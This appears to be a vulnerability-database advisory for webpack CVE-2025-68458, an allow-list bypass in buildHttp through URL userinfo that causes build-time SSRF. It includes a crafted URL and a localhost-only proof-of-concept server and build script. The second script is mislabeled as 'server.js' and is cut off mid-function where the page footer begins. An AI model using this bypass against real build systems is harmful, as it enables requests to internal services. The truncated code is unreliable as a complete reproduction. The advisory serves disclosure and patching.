webpack
Affected
- introduced
5.49.0, fixed5.104.1(semver)
Fixed versions
5.104.1
Fix
- Fixed version
5.104.1npm install [email protected]
Advisory
Also known as: CVE-2025-68458
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside `allowedUris` by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
Details
Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
http://127.0.0.1:[email protected]:9100/secret.jsIf the allow-list is ["http://127.0.0.1:9000"], then:
crafted.startsWith("http://127.0.0.1:9000") → truenew URL() will contact): origin → http://127.0.0.1:9100 (host/port after @)As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
[internal] 200 /secret.js served (...) (observed multiple times)<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";
const http = require("http");
const ALLOWED_PORT = 9000; // allowlisted-looking host
const INTERNAL_PORT = 9100; // actual target if bypass succeeds
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`// internal-only\n` +
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function listen(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// "Allowed" host (should NOT be contacted if bypass works as intended)
await listen(ALLOWED_PORT, (req, res) => {
console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
});
// Internal-only service (SSRF-like target)
await listen(INTERNAL_PORT, (req, res) => {
if (req.url === "/secret.js") {
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
return;
}
console.log(`[internal] 404 ${req.method} ${req.url}`);
res.statusCode = 404;
res.end("not found");
});
console.log("\nServers up:");
console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
2) Create server.js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
function fmtBool(b) { return b ? "✅" : "❌"; }
async function walk(dir) {
const out = [];
let items;
try { items = await fs.readdir(dir, { withFileTypes: true }); }
catch { return out; }
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
const s1 = buf.toString("utf8");
if (s1.includes(needle)) return true;
const s2 = buf.toString("latin1");
return s2.includes(needle);
} catch {
return false;
}
}
(async () => {
const webpackVersion = require("webpack/package.json").version;
const ALLOWED_PORT = 9000;
const INTERNAL_PORT = 9100;
// NOTE: allowlist is intentionally specified without a trailing slash
// to demonstrate the risk of raw string prefix checks.
const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;
// Crafted URL using userinfo so that:
// - The string begins with allowedUri
// - The actual authority (host:port) after '@' is INTERNAL_PORT
const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
const parsed = new URL(crafted);
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedUri],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
console.log("\n[ENV]");
console.log(`- webpack version: ${webpackVersion}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);
console.log("\n[CRAFTED URL]");
console.log(`- import specifier: ${crafted}`);
console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
console.log(`- WHAT URL() parses:`);
console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);
console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);
console.log(` - hostname: ${parsed.hostname}`);
console.log(` - port: ${parsed.port}`);
console.log(` - origin: ${parsed.origin}`);
console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error("\n[WEBPACK ERRORS]");
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const foundSecret = m ? m[0] : null;
console.log("\n[RESULT]");
console.log(`- temp dir: ${tmp}`);
console.log(`- bundle: ${bundlePath}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log("\n[SECURITY CHECK]");
console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);
if (foundSecret) {
const lockHit = await fileContains(lockfile, foundSecret);
const cacheFiles = await walk(cacheDir);
let cacheHit = false;
for (const f of cacheFiles) {
if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
}
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
}
} catch (e) {
console.error(e);Low Basis: The source's own band: LOW
5.49.0, fixed 5.104.1 (semver)5.104.1
5.104.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0